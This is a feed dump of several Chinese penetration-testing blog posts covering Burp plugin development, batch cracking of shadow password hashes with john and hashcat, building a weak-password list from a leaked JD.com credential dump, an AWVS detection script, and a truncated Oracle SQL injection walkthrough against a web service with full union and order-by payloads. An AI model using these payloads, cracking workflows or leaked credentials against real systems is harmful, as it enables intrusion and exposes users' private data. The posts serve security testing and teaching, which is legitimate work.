class="line">Processor2</span><br><span class="line">currentPayload: d1</span><br><span class="line">originalPayload: d</span><br><span class="line">-------------------------</span><br><span class="line">Processor2</span><br><span class="line">currentPayload: e1</span><br><span class="line">originalPayload: e</span><br><span class="line">-------------------------</span><br></pre></td></tr></table></figure><h2 id="0x03总结"><a href="#0x03总结" class="headerlink" title="0x03总结"></a>0x03总结</h2><p>综上我们就可以分析出:</p><table><thead><tr><th align="center">处理器</th><th align="center">a</th><th align="center">b</th><th align="center">c</th><th align="center">d</th><th align="center">e</th><th align="center">f</th></tr></thead><tbody><tr><td align="center">Processor1</td><td align="center">a,a</td><td align="center">b,b</td><td align="center">c,c</td><td align="center">d,d</td><td align="center">e,e</td><td align="center">f,f</td></tr><tr><td align="center">Processor1</td><td align="center">a1,a</td><td align="center">b1,b</td><td align="center">c1,c</td><td align="center">d1,d</td><td align="center">e1,e</td><td align="center">f1,f</td></tr></tbody></table><p><strong>所以现在再来理解这两个参数是不是就明了多了, <code>currentPayload</code>参数是当前payload(原始payload被上一个或多个处理器处理过的),<code>originalPayload</code>参数是原始payload</strong></p>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> 插件开发 </tag>
<tag> burp suite </tag>
</tags>
</entry>
<entry>
<title>优化批量破解shadow</title>
<link href="/articles/2017/batch-crack-shadows/"/>
<url>/articles/2017/batch-crack-shadows/</url>
<content type="html"><![CDATA[<p>一般在对客户所有linux机器进行弱口令检查时,如果在线进行破解的话,先不说影响业务,破解速率很慢,而且必须保证可以破解期间保持访问。这时将在线破解变成让客户提供shadow,我们破解shadow就有优势多了。后来k哥提供了一个批量调用john the ripper破解shadow的bash脚本。但是有诸多局限性,故深入研究优化了一下,并已此文做个记录。如各位有更优秀的解决方案,欢迎交流!</p><h2 id="0x01思路"><a href="#0x01思路" class="headerlink" title="0x01思路"></a>0x01思路</h2><p>公司大神写的脚本</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/sh</span><br><span class="line">for i in `ls ./shadow/`;</span><br><span class="line">do</span><br><span class="line">echo "---------------$i---------------"</span><br><span class="line">john --single ./shadow/$i;</span><br><span class="line">john --wordlist=10W.txt ./shadow/$i;</span><br><span class="line">john --format=crypt --wordlist=10W.txt ./shadow/$i;</span><br><span class="line">john --format=sha512crypt --wordlist=10W.txt ./shadow/$i;</span><br><span class="line">john --show ./shadow/$i > /tmp/$i.result;</span><br><span class="line">done;</span><br></pre></td></tr></table></figure><p>通过了解脚本的源码,发现存在一下局限性:</p><ul><li>速度慢,耗时间</li><li>不精准</li><li>无法查看破解进度</li><li>如果暂停破解,后面不好恢复到当前破解进度</li></ul><p>针对上局限性,我思考了一下解决方法:</p><ul><li>通过去掉空密码账号,减少时间消耗</li><li>对shadow中的hash类型进行识别,实现精准破解</li><li>将多个shadow合成一个shadow,这样就可以查看进度,同时需要暂停的话,后面好恢复任务。</li></ul><p>用图1对以上方法做了一个流程化的梳理</p><p><img src="/articles/2017/batch-crack-shadows/pic.png" alt="图1-解决方案流程图"></p><h2 id="0x01shadow格式简介"><a href="#0x01shadow格式简介" class="headerlink" title="0x01shadow格式简介"></a>0x01shadow格式简介</h2><p>在破解之前我们先了解一下shadow格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7:::</span><br></pre></td></tr></table></figure><p>可以发现shadow中每一行对应这一个用户的用户名和密码等信息,格式为<code>0:1:2:3:4:5:6:7:8</code></p><p>冒号是分割符,分别代表着,每个字段分别代表着:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">0:用户名</span><br><span class="line">1:密码hash值</span><br><span class="line">2:密码修改距离1970年1月1日的时间</span><br><span class="line">3:密码将被允许修改之前的天数(0 表示“可在任何时间修改”)</span><br><span class="line">4:系统将强制用户修改为新密码之前的天数(1 表示“永远都不能修改”)</span><br><span class="line">5:密码过期之前,用户将被警告过期的天数(-1 表示“没有警告”)</span><br><span class="line">6:密码过期之后,系统自动禁用帐户的天数(-1 表示“永远不会禁用”)</span><br><span class="line">7:该帐户被禁用的天数(-1 表示“该帐户被启用”)</span><br><span class="line">8:保留供将来使用</span><br></pre></td></tr></table></figure><p>hash值一览格式如:<code>$id$salt$密文</code></p><p>id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。</p><p>数字和所使用的加密算法对应关系:</p><table><thead><tr><th align="center">格式</th><th align="center">算法</th></tr></thead><tbody><tr><td align="center">$1</td><td align="center">md5</td></tr><tr><td align="center">$2a</td><td align="center">blowfish</td></tr><tr><td align="center">$2y</td><td align="center">blowfish</td></tr><tr><td align="center">$5</td><td align="center">sha-256</td></tr><tr><td align="center">$6</td><td align="center">sha-512</td></tr></tbody></table><p>注意:如果密码字符串为<code>*</code>,表示系统用户不能被登入,为<code>!</code>表示用户名被禁用,如果密码字符串为空,表示没有密码。</p><h2 id="0x02整理shadow"><a href="#0x02整理shadow" class="headerlink" title="0x02整理shadow"></a>0x02整理shadow</h2><p>为了提高破解的效率,提高精确度,我们将从多个shadow文件中提取出满足以下条件的用户,并合成一个shadow文件:</p><ul><li>去除空密码账号</li><li>每个账号的密码加密方式不一样,破解时要选择对应的算法,所以将密码进行分类。</li><li>筛选处我们要破解的用户</li></ul><p>为此特地写了一个脚本<code>shadowFilter.py</code>,来快速批量处理shadow文件(如果想了解该脚本的各个参数作用,请看我的github)。</p><p>脚本地址:</p><p><code>https://github.com/c0ny1/WorkScripts/blob/master/crack-shadow-helper/ShadowFilter.py</code></p><p>比如:我们需要破解shadow目录下的所有shadow文件中,root和test的账号的密码,可以进行如下整理:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python shadowFilter.py -d F:\shadow\ -c 1 -iuser root -o hashcat_crack.shadow #输出适合hashcat破解的格式</span><br><span class="line">python shadowFilter.py -d F:\shadow\ -iuser root -o john_crack.shadow #输出适合john the ripper破解的格式</span><br></pre></td></tr></table></figure><p>注意:-c代表的是需要哪一列,shadow的格式是<code>0:1:2:3:4:5:6:7:8</code>,0列是用户,1列是密码等等。hashcat破解是只需要1列,john需要全部列!</p><h2 id="0x03使用hashid识别hash类型"><a href="#0x03使用hashid识别hash类型" class="headerlink" title="0x03使用hashid识别hash类型"></a>0x03使用hashid识别hash类型</h2><p>hashid.py是一个可以识别多种hash类的脚本,同时它可以输出hashcat和john the ripper破解该类型的格式。参数如下:</p><table><thead><tr><th align="center">参数</th><th>描述</th></tr></thead><tbody><tr><td align="center">INPUT</td><td>输入的HASH(默认值:STDIN)</td></tr><tr><td align="center">-e, –extended</td><td>列出所有包括咸密码散列算法</td></tr><tr><td align="center">-m, –mode</td><td>显示相应hashcat模式输出</td></tr><tr><td align="center">-j, –john</td><td>显示相应JohnTheRipper格式输出</td></tr><tr><td align="center">-o FILE, –outfile FILE</td><td>写输出文件(默认值:STDOUT)</td></tr><tr><td align="center">–help</td><td>显示帮助信息</td></tr><tr><td align="center">–version</td><td>显示程序的版本号</td></tr></tbody></table><p>识别crack.shadow中所有hash的类型,并输出相应hashcat和john the ripper破解格式</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">hashid -m -j crack.shadow</span><br></pre></td></tr></table></figure><h2 id="0x04使用工具进行破解"><a href="#0x04使用工具进行破解" class="headerlink" title="0x04使用工具进行破解"></a>0x04使用工具进行破解</h2><h4 id="1-使用hashcat破解"><a href="#1-使用hashcat破解" class="headerlink" title="(1)使用hashcat破解"></a>(1)使用hashcat破解</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hashcat64.exe -a 0 -m 500 out.shadow 10W.txt #500为hashcat识别出</span><br><span class="line">hashcat64.exe --show out.shadow > pwd.txt #查看结果</span><br></pre></td></tr></table></figure><h4 id="2-使用john-the-ripper破解"><a href="#2-使用john-the-ripper破解" class="headerlink" title="(2)使用john the ripper破解"></a>(2)使用john the ripper破解</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">john --single out.shadow</span><br><span class="line">john --format=md5crypt --wordlist=10W.txt out.shadow #md5crypt为hashid识别出</span><br><span class="line">john --show out.shadow >pwd.txt #查看结果</span><br></pre></td></tr></table></figure><p>这个两个工具在破解hash方面都是神器,支持大部分的hash类型破解。如果你有linux服务器,推荐使用john the ripper挂在上面日夜跑着。如果你在windows上,同时对速度有要求的话,推荐使用hashcat,并使用GPU破解来加快数据,还嫌不够快的童鞋可以研究hashcat分布式破解了!</p><h2 id="0x05整理结果"><a href="#0x05整理结果" class="headerlink" title="0x05整理结果"></a>0x05整理结果</h2><p>在破解完成后,我们需要将破解好的密码关联到某主机的某个账号。同样使用脚本批量处理:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/c0ny1/WorkScripts/blob/master/crack-shadow-helper/SearchPwdFromShadow.py</span><br></pre></td></tr></table></figure><h5 id="python-SearchPwdFromShadow-py-d-F-shadow-p-pwd-txt-o-result-txt"><a href="#python-SearchPwdFromShadow-py-d-F-shadow-p-pwd-txt-o-result-txt" class="headerlink" title="python SearchPwdFromShadow.py -d F:\shadow\ -p pwd.txt -o result.txt"></a>python SearchPwdFromShadow.py -d F:\shadow\ -p pwd.txt -o result.txt</h5>]]></content>
<categories>
<category> 渗透测试 </category>
</categories>
<tags>
<tag> hash破解 </tag>
</tags>
</entry>
<entry>
<title>编译插件sqlmap4burp遇到的问题</title>
<link href="/articles/2017/compile-sqlmap4burp/"/>
<url>/articles/2017/compile-sqlmap4burp/</url>
<content type="html"><![CDATA[<blockquote><p>由于sqlmap4burp项目很久没有维护了,于是重构了其代码,在其基础上增加了对Mac和Linux系统的支持。大家可以尝试下更新的sqlmap4burp++。</p><p>github:<a href="https://github.com/c0ny1/sqlmap4burp-plus-plus" target="_blank" rel="noopener">https://github.com/c0ny1/sqlmap4burp-plus-plus</a></p><p>文章:<a href="http://gv7.me/articles/2019/refactoring-sqlmap4burp/">重构sqlmap4burp插件</a></p><p>上文更新于 2019-10-6 22:18 </p></blockquote><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>  sqlmap4burp是整合burp和sqlmap两大神器的一个burp插件。我也是查看了这边文章<a href="http://www.freebuf.com/sectool/45239.html" target="_blank" rel="noopener"><<渗透神器合体:在BurpSuite中集成Sqlmap>></a>,通过文章下的评论发现,小伙伴们在编译与使用sqlmap4burp遇到了不少问题,我也不例外。以下是我遇到的问题,我们来一一解决它。</p><ul><li>eclipse导入插件的源码报错</li><li>编译成功且加载到burp成功后,但是使用是无法弹出cmd框</li><li>弹出了cmd框且设置了sqlmap的路径到系统变量path之后,还是提示sqlmap.py不是内部命令或外部命令……</li></ul><h2 id="编译问题"><a href="#编译问题" class="headerlink" title="编译问题"></a>编译问题</h2><h4 id="缺包"><a href="#缺包" class="headerlink" title="缺包"></a>缺包</h4><p>  作者在插件的说明中说项目缺少包<code>commons-io-2.4.jar</code>,有些小伙伴导入了commons-io包还是报错。这是因为项目其实还缺少一个<code>commons-lang</code>包(我使用的版本是3-3.6)</p><p><img src="/articles/2017/compile-sqlmap4burp/package.png" alt="图1-工程需要的包"></p><h4 id="导出jar问题"><a href="#导出jar问题" class="headerlink" title="导出jar问题"></a>导出jar问题</h4><p>  我第一次编译导出时选择的是<code>JAR file</code>。然后加载到burp中,没有报错,也能正常限制tab标签和右键菜单,但是就是不弹出cmd。后来发现,应该导出时选择<code>Runnable JAE file</code>。</p><p><img src="/articles/2017/compile-sqlmap4burp/create_jar.png" alt="图2-导出Runnable JAE file"></p><h2 id="使用问题"><a href="#使用问题" class="headerlink" title="使用问题"></a>使用问题</h2><p>  明明已经将sqlmap的路径放到path环境中,而且启动cmd输入sqlmap.py可以正常运行sqlmap了。但是插件弹出的cmd提示如下:</p><p><img src="/articles/2017/compile-sqlmap4burp/cmd_sqlmap.png" alt="图3-插件运行弹出的cmd提示"></p><p>  当时内心很崩溃,我在想我是用了个假的burp么?<br>后来无意中找到了苦逼的原因:我是使用工具包(音速启动)打开的burp,这样弹出的cmd运行sqlmap.py,直接鼠标打开的burp才可以。</p><h2 id="优化插件"><a href="#优化插件" class="headerlink" title="优化插件"></a>优化插件</h2><p>经过查看代码发现,<code>latershow.sniffer</code>包下的代码是无用的,应该删除掉。<br><img src="/articles/2017/compile-sqlmap4burp/dead_code.png" alt="图4-无用代码"><br>  如果用过gason插件的小伙伴会知道,gason插件的右键菜单名称也为send to sqlmap。<br>如果你同时安装这两个插件难免搞不清楚到底那个菜单对应着那个插件。所以我们在代码中将sqlmap4burp的右键菜单名改为<code>send to sqlmap4burp</code>。<br><img src="/articles/2017/compile-sqlmap4burp/change_menu_name.png" alt="图5-修改右键菜单名称"><br>优化后编译的插件下载地址(base64):<br><code>dXJsOmh0dHA6Ly9wYW4uYmFpZHUuY29tL3MvMW84Z2I1aHcNCnB3ZDptOGo1</code></p><h2 id="sqlmap4burp的优点"><a href="#sqlmap4burp的优点" class="headerlink" title="sqlmap4burp的优点"></a>sqlmap4burp的优点</h2><p>  最后啰嗦一下这个插件的优点。它比我们直接导出的burp的log文件,然后用sqlmap的命令sqlmap.py -l burp.log –bitach –smart去批量检测sql注入有两个优势。</p><ol><li>比较方便,免去设置burp保存日志,然后启动sqlmap加载log文件的操作,一键无缝连接。</li><li>最关键的是我们导出来的log里的数据很杂,可能有图片的请求,js的请求等等。而sqlmap4burp是将我们选中的数据包导出为log,然后让sqlmap读入log数据批量注入。这样目的性更强!</li></ol>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> 插件开发 </tag>
<tag> burp插件 </tag>
</tags>
</entry>
<entry>
<title>自制弱口令字典top100</title>
<link href="/articles/2017/making-the-password-top-100/"/>
<url>/articles/2017/making-the-password-top-100/</url>
<content type="html"><![CDATA[<p>  在进行密码字典攻击时,经常使用到一些弱口令字典。而这些若口令字典基本都是通过各大网站泄露的密码,统计出使用频率最多的密码作为字典。这样就可以大大提高成功率。相信大家都听说过CSDN top 100,12306 top 100。今天尝试使用某东泄露的数据库制作一个jd top 100!</p><h2 id="0x01工具与素材"><a href="#0x01工具与素材" class="headerlink" title="0x01工具与素材"></a>0x01工具与素材</h2><ul><li>mysql</li><li>navicat for mysql</li><li>jd40w密码</li></ul><h2 id="0x02导入"><a href="#0x02导入" class="headerlink" title="0x02导入"></a>0x02导入</h2><p>  我们日常收集到的一些裤子各种格式都有,比如sql文件,cvs,txt等等。Navicat很强大,可以导入多种数据格式导入到mysql数据库,我们需要根据我们的密码文件格式来进行选择,我们演示的密码文件格式是txt。故选第三个。</p><p><img src="/articles/2017/making-the-password-top-100/password_file.png" alt="图1-某东40W密码文件"></p><p><img src="/articles/2017/making-the-password-top-100/type.png" alt="图2-Navicat支持的导入的文件格式"></p><p>选择好我们要导入的文件40W.txt</p><p><img src="/articles/2017/making-the-password-top-100/file.png" alt="图3-选择要导入的密码文件"></p><p>由于我们的密码文件每行格式为<code>username-password</code>,所以我们的分隔符为<code>-</code></p><p><img src="/articles/2017/making-the-password-top-100/fengefu.png" alt="图4-分隔符"></p><p>将导入的数据表名该为<code>test</code></p><p><img src="/articles/2017/making-the-password-top-100/table_name.png" alt="图5-输入导入的表名"></p><p>后面就是下一步下一步的事了。<br><img src="/articles/2017/making-the-password-top-100/table.png" alt="图6-导入完成后的数据"></p><h2 id="0x3处理"><a href="#0x3处理" class="headerlink" title="0x3处理"></a>0x3处理</h2><p>新建一个查询,输入以下sql语句,并执行:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">select password,count(password) as cou #cou为重复数量</span><br><span class="line">from test #test为表名</span><br><span class="line">GROUP BY password #按照密码来分组</span><br><span class="line">ORDER BY cou desc #查询结果按照cou来降序排列</span><br><span class="line">limit 100 #只要前100条结果集,也就是我们的top100</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/making-the-password-top-100/result.png" alt="图7-查询结果"></p><h2 id="0x4导出"><a href="#0x4导出" class="headerlink" title="0x4导出"></a>0x4导出</h2><p>选中所有查询结果的password字段,并复制并粘贴到我们的字段文件里。<br><img src="/articles/2017/making-the-password-top-100/copy_to_file.png" alt="图8-复制结果到文件"></p><h3 id="注意:如果数据量很大时,就可以考虑使用mongodb,并采用分布式来进行统计并计算。"><a href="#注意:如果数据量很大时,就可以考虑使用mongodb,并采用分布式来进行统计并计算。" class="headerlink" title="注意:如果数据量很大时,就可以考虑使用mongodb,并采用分布式来进行统计并计算。"></a>注意:如果数据量很大时,就可以考虑使用mongodb,并采用分布式来进行统计并计算。</h3>]]></content>
<categories>
<category> 渗透测试 </category>
</categories>
<tags>
<tag> 字典制作 </tag>
</tags>
</entry>
<entry>
<title>编写AWVS脚本探测web services</title>
<link href="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/"/>
<url>/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/</url>
<content type="html"><![CDATA[<p>最近一直在做渗透测试,发现在使用AWVS去扫描一个使用web services的网站时。最后的扫描结果并没有web services。然而web services由于经常出现一些问题,故我们很有必要去收集到网站的使用web services的信息。下面我们通过编写AWVS脚本的方式去让AWVS探测的网站是否存在。</p><p>注意:这里默认大家都了解过AWVS基本语法。如果不了解请移步文章的“编写AWVS脚本资料”部分。</p><h2 id="0x01思路"><a href="#0x01思路" class="headerlink" title="0x01思路"></a>0x01思路</h2><p>我们让AWVS爬取到的每一个路径都添加/services,然后去访问这个构造好的路径。如果存在该页面,则分析返回结果中是否存在“wdsl”字符,若存在则说明该站点存在web services服务。</p><h2 id="0x02编写代码"><a href="#0x02编写代码" class="headerlink" title="0x02编写代码"></a>0x02编写代码</h2><h3 id="新建报告模板"><a href="#新建报告模板" class="headerlink" title="新建报告模板"></a>新建报告模板</h3><p>AWVS》Tools》Vulnerability Editor</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/add_xml.png" alt="图1-新建报告模板"></p><p>填写好漏洞相关信息</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/2.png" alt="图2-填写漏洞信息"></p><h3 id="新建探测脚本"><a href="#新建探测脚本" class="headerlink" title="新建探测脚本"></a>新建探测脚本</h3><p>找到AWVS的/data/script/folder目录</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/3.png" alt="图3-新建探测脚本"></p><p>由于我们需要AWVS在爬取到目录时就检查一次该目录是否存在web services。所以我们需要在该目录下的PerFolder文件夹,新建一个名为Web_Services.script的脚本文件。代码如下:</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">var</span> target = <span class="keyword">new</span> THTTPJob(); <span class="comment">//实例化一个HTTP任务</span></span><br><span class="line"><span class="keyword">var</span> dir = getCurrentDirectory();<span class="comment">//获取当前路径</span></span><br><span class="line">target.url = <span class="keyword">new</span> TURL(scanURL.url+ dir.fullPath + <span class="string">"/services"</span>);<span class="comment">//构造请求url</span></span><br><span class="line">target.execute();<span class="comment">//执行http请求</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> wsRes = target.response.body;<span class="comment">//获取http请求内容</span></span><br><span class="line"><span class="keyword">if</span>(!target.wasError && !target.notFound ){<span class="comment">//判断是否访问错误或者是404</span></span><br><span class="line"><span class="keyword">if</span>(wsRes.indexOf(<span class="string">'wsdl'</span>) != <span class="number">-1</span>){</span><br><span class="line">logWarning(scanURL.url+dir.fullPath+<span class="string">'----->this web services is exists!!!'</span>);<span class="comment">//在日志栏显示该调式信息</span></span><br><span class="line"><span class="keyword">var</span> ri = <span class="keyword">new</span> TReportItem();<span class="comment">//新建一个报告结果,返回给扫描器界面</span></span><br><span class="line">ri.loadFromFile(<span class="string">'Web_Services.xml'</span>);<span class="comment">//载入模板</span></span><br><span class="line">ri.severity = <span class="string">"high"</span><span class="comment">//影响等级</span></span><br><span class="line">ri.affects = dir.fullPath + <span class="string">"/services"</span>;</span><br><span class="line">ri.Request = target.Request.headersString;<span class="comment">//测试请求HTTP头输出到界面</span></span><br><span class="line">ri.response = target.response.body;<span class="comment">//测试请求HTTP响应内容输出到界面</span></span><br><span class="line">ri.fullResponse = target.fullResponse;<span class="comment">//测试请求的完整HTTP响应内容输出到界面</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//ri.description = "web services";</span></span><br><span class="line">ri.addReference(<span class="string">"how do sql inject web services"</span>,<span class="string">"http://gv7.me/2017/08/12/how-do-sql-inject-web-services/"</span>);</span><br><span class="line"></span><br><span class="line">AddReportItem(ri);</span><br><span class="line">}</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">{</span><br><span class="line">logError(scanURL.url+dir.fullPath+<span class="string">"----->This's not web services!!!"</span>);</span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line">logWarning(scanURL.url+dir.fullPath+<span class="string">"notFound web services!!!!"</span>);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/4.png" alt="图4-代码"></p><h2 id="0x3测试"><a href="#0x3测试" class="headerlink" title="0x3测试"></a>0x3测试</h2><p>去网上随便找一个测试站点,该站点/pptx/路径下存在web services的wsdl列表。</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/5.png" alt="图5-测试站点"></p><p>为了方便测试,我们新建一个test策略,策略包含我们写的脚本。</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/6.png" alt="图6-新建test策略"></p><p>扫描选择我们的新建的策略</p><p><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/7.png" alt="图7-测试扫描设置"></p><p>扫描结果中发现,已经找到web services<br><img src="/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/8.png" alt="图8-测试扫描结果"></p><p>后面我在这个代码基础上泄露发现SVN泄露的脚本,大家想让AWVS发现更多漏洞,可以自己尝试去写写。</p><h2 id="0x4AWVS脚本编写资料"><a href="#0x4AWVS脚本编写资料" class="headerlink" title="0x4AWVS脚本编写资料"></a>0x4AWVS脚本编写资料</h2><p>如果想了解更多编写脚本的资料。可以下载以下推荐的资料,若你有更好,欢淫共享感激不尽。</p><h3 id="官方SDK文档"><a href="#官方SDK文档" class="headerlink" title="官方SDK文档"></a>官方SDK文档</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.acunetix.com/resources/sdk/</span><br></pre></td></tr></table></figure><h3 id="官方开发工具包"><a href="#官方开发工具包" class="headerlink" title="官方开发工具包"></a>官方开发工具包</h3><p>工具包里有一个文档,和3个脚本例子。大家可以参考一下。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.acunetix.com/download/tools/WVSSDK.zip</span><br></pre></td></tr></table></figure><h3 id="解密的扫描脚本"><a href="#解密的扫描脚本" class="headerlink" title="解密的扫描脚本"></a>解密的扫描脚本</h3><p>大家可能发现在/data/script/文件夹下的所有脚本都加密了,我们无法查看源码。这对于我们想学习编写脚本的童鞋很是不利。这里给大家发个福利:〇〇木一大神解密AWVS 10.5的script文件夹下所有脚本。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://github.com/c0ny1/awvs_script_decode</span><br></pre></td></tr></table></figure><p>百度云下载(base64)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dXJs77yaaHR0cHM6Ly9wYW4uYmFpZHUuY29tL3MvMXNscjRIUHogcHdk77yaYjNtbw==</span><br></pre></td></tr></table></figure>]]></content>
<categories>
<category> 编程开发 </category>
</categories>
<tags>
<tag> 插件开发 </tag>
<tag> AWVS </tag>
</tags>
</entry>
<entry>
<title>发现Web Services存在注入,无法用sqlmap怎么办?</title>
<link href="/articles/2017/how-do-sql-inject-web-services/"/>
<url>/articles/2017/how-do-sql-inject-web-services/</url>
<content type="html"><![CDATA[<h3 id="如何对Web-Services服务进行注入?"><a href="#如何对Web-Services服务进行注入?" class="headerlink" title="如何对Web Services服务进行注入?"></a>如何对Web Services服务进行注入?</h3><p>我们都知道sqlmap等一些工具不能对web services服务进行注入,因为web services使用的是SOAP协议,与我们提传统的http协议有些差异。手工+工具结合的方法完成这次的漏洞利用。下面我们一个案例演示一下,如何利用burp+sqlmap字典进行注入web services。</p><p>访问以下地址:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://www.xxx.com/services</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/how-do-sql-inject-web-services/1.png" alt="图1-web service的wdls列表"></p><h2 id="0x01扫描"><a href="#0x01扫描" class="headerlink" title="0x01扫描"></a>0x01扫描</h2><p>将列表中的的WSDL地址依次丢到AWVS的Web Services Scanner中进行扫描,发现存在sql注入</p><p><img src="/articles/2017/how-do-sql-inject-web-services/2.png" alt="图2-AWVS扫描结果"></p><h2 id="0x02识别正常返回与异常返回"><a href="#0x02识别正常返回与异常返回" class="headerlink" title="0x02识别正常返回与异常返回"></a>0x02识别正常返回与异常返回</h2><p>转到AWVS中的Web Services Editor中import刚才扫描的</p><h3 id="正常返回(有数据)"><a href="#正常返回(有数据)" class="headerlink" title="正常返回(有数据)"></a>正常返回(有数据)</h3><p><img src="/articles/2017/how-do-sql-inject-web-services/3.png" alt="图3-正常返回(有数据)"></p><h3 id="正常返回(无数据)"><a href="#正常返回(无数据)" class="headerlink" title="正常返回(无数据)"></a>正常返回(无数据)</h3><p><img src="/articles/2017/how-do-sql-inject-web-services/4.png" alt="图4-正常返回(无数据)"></p><h3 id="异常返回"><a href="#异常返回" class="headerlink" title="异常返回"></a>异常返回</h3><p><img src="/articles/2017/how-do-sql-inject-web-services/5.png" alt="图5-异常返回"></p><h2 id="0x03判断数据库类型"><a href="#0x03判断数据库类型" class="headerlink" title="0x03判断数据库类型"></a>0x03判断数据库类型</h2><p>由于一般的jsp应用基本都使用oracle数据库,我们优先判断是否是oracle数据库!</p><p>注入语句:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">-1' or chr(123)||chr(123)=chr(123)||chr(123) -- </span><br><span class="line">-1' or (select count (*) from user_tables)>0 --</span><br><span class="line">-1' or (select count (*) from dual)>0 --</span><br></pre></td></tr></table></figure><p>发现他们都返回正常,说明为oracle数据库<br><img src="/articles/2017/how-do-sql-inject-web-services/6.png" alt="图6-是否为oracle"></p><h2 id="0x04判断字段个数"><a href="#0x04判断字段个数" class="headerlink" title="0x04判断字段个数"></a>0x04判断字段个数</h2><p>使用 order by num语句来判断字段的个数。</p><p>根据以下注入语句的结果,可知字段个数为25</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-1' or order by 25 -- /*返回正常*/</span><br><span class="line">-1' or order by 26 --/*返回异常*/</span><br></pre></td></tr></table></figure><h2 id="0x05确定每个字段类型"><a href="#0x05确定每个字段类型" class="headerlink" title="0x05确定每个字段类型"></a>0x05确定每个字段类型</h2><p>由于我们此时不知道每个字段的类型,所以先用null来代替。故注入语句构造如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">-1' union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user_tables --</span><br></pre></td></tr></table></figure><p><img src="/articles/2017/how-do-sql-inject-web-services/7.png" alt="图7"></p><p>判断方法如下:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">-1' union select 1,null,null,... from user_tables -- /*返回正常,说明该字段为数字型*/</span><br><span class="line">-1' union select '1',null,null,... from user_tables -- 